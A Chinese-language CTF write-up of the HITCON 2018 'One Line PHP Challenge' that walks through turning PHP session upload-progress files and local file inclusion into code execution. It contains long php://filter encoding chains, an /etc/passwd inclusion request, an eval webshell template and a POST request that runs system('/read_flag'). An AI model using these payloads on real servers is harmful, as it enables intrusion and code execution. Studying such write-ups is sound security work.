[toc]
题目
wp都看不懂,硬着头皮看。 源码
1 |
|
Hint: Don’t guess. This is the default PHP7.2 + Apache2 installation on Ubuntu 18.04
PHP < 7.2异常退出的bug
https://www.jianshu.com/p/dfd049924258
1 | include.php?file=php://filter/string.strip_tags/resource=/etc/passwd |
可以导致 php 在执行过程中 Segment Fault。 本地文件包含漏洞可以让 php 包含自身从而导致死循环,然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留 ps: 这个bug的原因是有一处空指针引用
但是这里题目给的环境是php7.2,并且ubuntu17之后使用Systemd托管apache和php-fpm,tmp目录被分离开来。因此这个bug在这里并不使用。
session.upload
Session 上传进度:http://php.net/manual/zh/session.upload-progress.php
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在
$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。ession.upload_progress.enabled
这个参数在php.ini 默认开启,需要手动置为Off 如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到
1 | /var/lib/php/sessions/sess_{your_php_session_id} |
且文件开头为upload_progress_
也就是说当我们不断的post一个与
session.upload_progress.name
同名的变量,就会在储存路径下不断刷新生成包含恶意php代码的文件。 例如在本地我们post一个这样的数据包 可以看一下生成的session上传进度文件内容
1 | upload_progress_111111111111111111a:5:{s:10:"start_time";i:1540949179;s:14:"content_length";i:4551;s:15:"bytes_processed";i:4551;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"123123";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540949179;s:15:"bytes_processed";i:0;}}} |
所以这个上传进度文件名格式为:sess_
+PHPSESSID
。内容格式为php.ini中session.upload_progress.prefix的值
+变量PHP_SESSION_UPLOAD_PROGRESS的值
+一些与上传进度文件有关的序列化值
。 然后我们可以通过LFI
包含这个文件即可getshell。
php://filter
过滤器
1 | string.strip_tags 将数据流中的所有html标签清除 |
string.strip_tags
1 |
|
思路
通过不断post上传文件,然后利用本地文件包含getshell。但是题目要求orange的前6个字节为@<?php
,而生成的进度文件开头为upload_progress_
。如果利用编码去碰撞6字节的话,复杂度相当大。 我们可以只碰撞第一字节为<
(标签的起始),后面的可控部分用一个>
闭合掉它,然后用一次strip_tags
,再解码即可。
跟着wp走
后面的操作我是操作不出来,看大佬的过程好了:https://hackmd.io/s/SkxOwAqiQ# base64可解码成<
的范围是PA-PP
,rot13后是CN-CC
,所以只要前两字节在上面的任意范围内就可以通过filter解码出<
。 且过程中一定要保持大部分可逆,base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息,所以要保持全程的字节数不变,初始数据为整块的形式,base64操作(en,de)对合。 最终构造出 加密算法:
1 | php://filter/convert.iconv.UTF8.IBM1154convert.base64-encodeconvert.iconv.UCS-2LE.UCS-2BEstring.rot13convert.base64-decodestring.rot13convert.base64-encodeconvert.iconv.UCS-2LE.UCS-2BEstring.rot13convert.base64-decodeconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-encodestring.rot13convert.base64-decodeconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-encodeconvert.iconv.UCS-2LE.UCS-2BEconvert.iconv.UCS-4LE.UCS-4BEconvert.base64-decodestring.strip_tagsconvert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd |
逆算法
1 | php://filter/convert.base64-encodeconvert.iconv.UCS-4LE.UCS-4BEconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-decodeconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-encodestring.rot13convert.base64-decodeconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-encodestring.rot13convert.iconv.UCS-2LE.UCS-2BEconvert.base64-decodestring.rot13convert.base64-encodestring.rot13convert.iconv.UCS-2LE.UCS-2BEconvert.base64-decodeconvert.iconv.IBM1154.UTF8/resource=data://,xxx |
然后使用逆算法编码整块的>
+(编码后的可控部分)即>@<?php eval(xxx);?>//aaa...
然后就是将结果生成文件
1 | data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF |
去掉upload_progess_前缀输出到文件中。 然后构造数据报用多线程跑
1 | POST /?orange=php://filter/convert.iconv.UTF8.IBM1154convert.base64-encodeconvert.iconv.UCS-2LE.UCS-2BEstring.rot13convert.base64-decodestring.rot13convert.base64-encodeconvert.iconv.UCS-2LE.UCS-2BEstring.rot13convert.base64-decodeconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-encodestring.rot13convert.base64-decodeconvert.iconv.UCS-2LE.UCS-2BEconvert.base64-encodeconvert.iconv.UCS-2LE.UCS-2BEconvert.iconv.UCS-4LE.UCS-4BEconvert.base64-decodestring.strip_tagsconvert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); |
orange师傅的exp
1 | import sys |
可以看一下runner1的数据包 orange师傅也没有给wp,我的理解是: 进度文件头是upload_progess_,而要求的文件头为
@<?php
,可以利用base64decode在块不满的情况下或者中间出现不可解字符的情况下会丢失信息,来将前面的文件头给消除掉。 跟上面的思路大同小异,不过这里的过程比较简单。 base64编码过程 base64解码过程:先去掉末尾补充的=,然后转化为2进制,再去掉每6个bit中前两个bit的0,然后再把数据3字节分为一组,再进行ASCII解码。 具体的构造过程我是想不出来,太菜了。 然后利用不断的POST上传文件包,再利用进度文件
/var/lib/php/sessions/sess_SESSIONID
进行LFI
来getshell。 刚看到了orange师傅的wp:https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html?m=1
我的理解思路是正确的,只是利用base64编码消除前缀这个操作没有讲的很详细。
利用base64_decode()容错机制吞掉非法字符
三个白帽有一道也是这个思路 P神在博客中讲过:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
1 |
|
$content
在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。 可以使用php://filter
流的base64-decode方法,将$content
解码,利用php base64_decode函数特性去除”死亡exit”。 众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。这点在上面提到过 所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
1 |
|
所以,当$content
被加上了<?php exit; ?>
以后,我们可以使用php://filter/write=convert.base64-decode
来首先对其解码。在解码的过程中,字符<、?、;、>、空格
等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有phpexit
和我们传入的其他字符。 phpexit
一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个a
一共8个字符。这样,phpexita
被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
没有了。 同样的,这道题目中
upload_progress_
一共16个字符,两个_
不符合base64编码的范围,所以就是14个字符,因为base64算法解码时是4个byte一组,所以再添加两个字节以免他吃掉后面的@
。然后通过三次解码,逐渐把解码出来的不可打印字符全部忽略掉。直到最后剩下@<?php......